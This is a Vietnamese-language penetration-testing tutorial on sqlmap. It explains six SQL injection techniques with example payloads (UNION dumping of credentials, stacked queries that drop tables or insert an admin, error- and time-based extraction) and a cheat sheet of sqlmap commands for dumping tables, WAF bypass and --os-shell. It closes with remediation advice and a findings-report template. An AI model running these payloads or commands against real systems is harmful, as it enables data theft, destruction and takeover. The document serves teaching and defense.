SQLMap: The Ultimate SQL Injection Automation Tool
Tài liệu này phân tích sâu về cơ chế hoạt động, các kỹ thuật tấn công cốt lõi (Injection Techniques) của sqlmap, kèm theo sơ đồ tư duy (Mermaid) và hướng dẫn thực chiến.
🛠️ SQLMap là gì?
SQLMap là công cụ kiểm thử xâm nhập mã nguồn mở, tự động hóa quá trình phát hiện và khai thác lỗ hổng SQL Injection (SQLi). Nó hoạt động như một "Database Administrator" bất đắc dĩ, có thể dump toàn bộ dữ liệu, chiếm quyền shell, hoặc thao túng file hệ thống.
Cơ chế hoạt động (The Engine)
- Identification: Tìm điểm vào (input parameters, headers, cookies).
- Heuristics: Gửi các payload thử nghiệm để xem phản ứng của DB (lỗi, delay, thay đổi nội dung).
- Fingerprinting: Xác định loại DB (MySQL, PostgreSQL, Oracle, MSSQL...).
- Exploitation: Dùng kỹ thuật phù hợp nhất để trích xuất dữ liệu.
2️⃣ 6 Kỹ Thuật Tấn Công Cốt Lõi (The 6 Techniques)
SQLMap sử dụng cờ --technique=BEUSTQ để chỉ định phương pháp. Dưới đây là giải thích chi tiết từng loại.
2.1 Boolean-based Blind (B) 🕵️♂️
- Cơ chế: Hacker hỏi Database câu hỏi "Đúng/Sai". Server không trả về lỗi, cũng không trả về dữ liệu, chỉ trả về trang web Bình thường (True) hoặc Thiếu nội dung (False).
- Ví dụ:
id=1 AND (SELECT substring(pass,1,1) FROM users) = 'a'- Nếu chữ cái đầu là 'a', trang web load bình thường.
- Nếu không phải, trang web mất hình ảnh/footer.
sequenceDiagram
participant Attacker
participant App
participant DB
Note over Attacker: Goal: Guess first char of password
Attacker->>App: "GET /item?id=1 AND (SUBSTR(pass#44;1#44;1)='a') -- (Is char 'a'?)"
App->>DB: SQL Query... WHERE id=1 AND ...
DB-->>App: Returns Data (TRUE)
App-->>Attacker: HTTP 200 OK (Content Normal)
Note right of Attacker: ✅ It's 'a'!
Attacker->>App: "GET /item?id=1 AND (SUBSTR(pass#44;1#44;1)='b') -- (Is char 'b'?)"
App->>DB: Query...
DB-->>App: Returns No Data (FALSE)
App-->>Attacker: HTTP 200 OK (Content Missing/Different)
Note right of Attacker: ❌ It's not 'b'
2.2 Error-based (E) 💥
- Cơ chế: Ép Database "nôn" ra lỗi chứa dữ liệu nhạy cảm. Đây là cách nhanh nhất nếu Server chưa tắt hiển thị lỗi.
- Ví dụ: Dùng hàm
updatexml()(MySQL) hoặcCAST()(MSSQL) để gây lỗi convert dữ liệu.
sequenceDiagram
participant Attacker
participant App
participant DB
Note over Attacker: Goal: Force DB to print version
Attacker->>App: "GET /?id=1' AND extractvalue(1#44; concat(0x7e#44; @@version)) --"
App->>DB: SQL Query (Malicious)
DB-->>App: "❌ SQL Syntax Error: 'XPATH syntax error: ~5.7.33-log'"
App-->>Attacker: "HTTP 500 Error containing '~5.7.33-log'"
Note right of Attacker: 🎯 Extracted: 5.7.33
2.3 UNION Query-based (U) 🤝
- Cơ chế: Dùng toán tử
UNIONđể gộp kết quả của câu lệnhSELECTđộc hại vào kết quả chính thống. Dữ liệu sẽ hiện ngay trên giao diện web. - Ví dụ:
id=1 UNION SELECT null, username, password FROM users --
sequenceDiagram
participant Attacker
participant App
participant DB
Note over Attacker: Goal: Append user/pass to product list
Attacker->>App: "GET /products?id=-1 UNION SELECT user#44; pass FROM users"
App->>DB: "SELECT name#44; price FROM products WHERE id=-1 UNION SELECT user#44; pass FROM users"
DB-->>App: "Returns: [('admin'#44; '123456')]"
App-->>Attacker: "Display: Product Name: admin#44; Price: 123456"
Note right of Attacker: 🎯 Dumped Data directly
2.4 Stacked Queries (S) 📚
- Cơ chế: Thực thi nhiều câu lệnh SQL ngăn cách bởi dấu chấm phẩy
;. Kỹ thuật nguy hiểm nhất vì cho phép ghi dữ liệu, xóa bảng, hoặc chạy lệnh OS (nếu quyền cao). - Ví dụ:
id=1; DROP TABLE users; --
sequenceDiagram
participant Attacker
participant App
participant DB
Note over Attacker: Goal: Delete database or Insert Admin
Attacker->>App: "GET /?id=1#59; INSERT INTO admins VALUES ('hacked'#44; '123') --"
App->>DB: Execute Query 1: SELECT * FROM items WHERE id=1
Note right of DB: ✅ Done
DB->>DB: Execute Query 2: INSERT INTO admins...
Note right of DB: ✅ Done (New Admin Added)
DB-->>App: Result of Query 1
App-->>Attacker: Page Loads Normally
Note right of Attacker: 💀 Silent Attack Successful
2.5 Time-based Blind (T) ⏱️
- Cơ chế: Giống Boolean-based, nhưng Server luôn trả về trang giống hệt nhau dù đúng hay sai. Hacker phải dùng hàm
SLEEP()hoặcWAITFOR DELAYđể đo thời gian phản hồi. - Ví dụ:
id=1 AND IF(version() like '5%', SLEEP(10), 0)-> Nếu Server treo 10s, suy ra version là 5.x.
sequenceDiagram
participant Attacker
participant App
participant DB
Note over Attacker: Goal: Confirm version 5 via Timing
Attacker->>App: "GET /?id=1 AND IF(ver LIKE '5%'#44; SLEEP(10)#44; 0)"
App->>DB: Execute Query...
alt Condition TRUE
DB->>DB: 💤 Sleeping 10s...
DB-->>App: Return Result
App-->>Attacker: Response received after 10.5s
Note right of Attacker: ✅ Confirmed (Time > 10s)
else Condition FALSE
DB-->>App: Return Result Immediately
App-->>Attacker: Response received after 0.5s
Note right of Attacker: ❌ Condition False
end
2.6 Out-of-Band (O) 📡
- Cơ chế: Khi không thể nhận phản hồi qua HTTP (Blind hoàn toàn) và Time-base quá chậm/bị chặn. Hacker ép DB gửi DNS request tới tên miền do hacker kiểm soát.
- Ví dụ: Oracle/MSSQL gửi request tới
hacker.com.
3️⃣ Command Reference (Cheat Sheet)
Scan Cơ Bản
# Scan một URL cụ thể
sqlmap -u "http://target.com/item.php?id=1"
# Tự động scan form đăng nhập/search
sqlmap -u "http://target.com" --forms --crawl=2
Tăng cường sức mạnh (Aggressive)
# Level 5: Scan cả Cookie, Header (User-Agent, Referer...)
# Risk 3: Thử cả các payload nguy hiểm (Stacked queries, OR-based)
sqlmap -u "url" --level=5 --risk=3
Bypass WAF (Tamper Scripts)
# Sử dụng script để mã hóa payload tránh WAF phát hiện
sqlmap -u "url" --tamper="between,randomcase,space2comment"
Khai thác & Chiếm quyền
# Liệt kê danh sách database
sqlmap -u "url" --dbs
# Dump toàn bộ bảng users của database 'hackme'
sqlmap -u "url" -D hackme -T users --dump
# Thử lấy shell hệ điều hành (chỉ khi DB là root/sa)
sqlmap -u "url" --os-shell
4️⃣ Lịch sử tấn công & Case Studies
🏛️ Vụ Hack TalkTalk (2015) - "Classic SQLi"
- Nguyên nhân: Một trang web con (legacy webpage) không được bảo trì, dính lỗi Blind SQL Injection trên tham số lọc sản phẩm.
- Kỹ thuật: Hacker tuổi teen sử dụng SQLMap (hoặc tool tương tự) để quét và dump 157,000 thông tin khách hàng.
- Hậu quả: TalkTalk (ISP lớn ở Anh) bị phạt kỷ lục 400,000 bảng Anh, thiệt hại uy tín hàng chục triệu bảng.
🏛️ Vụ Hack Yahoo! Voices (2012) - "UNION Based"
- Nguyên nhân: Lỗi UNION-based SQLi cơ bản.
- Diễn biến: Nhóm D33Ds Company đã dump 450,000 email và password (dạng plain text!).
- Bài học: Một endpoint nhỏ trong hệ sinh thái khổng lồ có thể làm sập toàn bộ uy tín.
5️⃣ Remediation (Fix & Report)
Khi phát hiện lỗi bằng SQLMap, báo cáo cần đề xuất cách fix triệt để.
❌ Cách Fix SAI
- Dùng "Blacklist" từ khóa: Xóa
SELECT,UNION,DROP... (Dễ dàng bị bypass bằngSeLeCt,SEL/**/ECT...). - Chỉ escape ký tự đặc biệt ở Client Side (JavaScript).
✅ Cách Fix ĐÚNG (Best Practices)
-
Prepared Statements (Tham số hóa câu lệnh):
- Tách biệt hoàn toàn
Code SQLvàDữ liệu. Database sẽ hiểu input chỉ là chuỗi ký tự, không phải lệnh thực thi.
// C# / .NET SqlCommand command = new SqlCommand("SELECT * FROM Users WHERE Id = @id", connection); command.Parameters.AddWithValue("@id", inputId); // An toàn tuyệt đối - Tách biệt hoàn toàn
-
Input Validation:
- Nếu tham số là ID (số), hãy ép kiểu sang Integer.
- Whitelist input cho phép (chỉ cho phép a-z, 0-9).
-
Principle of Least Privilege:
- Account kết nối DB của Web App KHÔNG được có quyền
DROP TABLE,GRANT, hay đọc file hệ thống. Chỉ cấp quyềnSELECT,INSERT,UPDATEtrên bảng cần thiết.
- Account kết nối DB của Web App KHÔNG được có quyền
6️⃣ Mẫu Report Findings
Vulnerability: SQL Injection (Blind based)
Severity: Critical
Affected Parameter: ?id= in http://example.com/view.php
Description:
Tham số id không được lọc đầu vào, cho phép kẻ tấn công chèn các câu lệnh SQL tùy ý. Thông qua kỹ thuật Boolean-based Blind, chúng tôi đã trích xuất được phiên bản Database: MySQL 5.7.
Proof of Concept (SQLMap Command):
sqlmap -u "http://example.com/view.php?id=1" --technique=B --banner
Impact: Kẻ tấn công có thể truy cập, sửa đổi, xóa toàn bộ cơ sở dữ liệu khách hàng.
Recommendation:
Sử dụng Prepared Statements cho tất cả các truy vấn Database liên quan đến tham số id.
Verified by Security Team
All rights reserved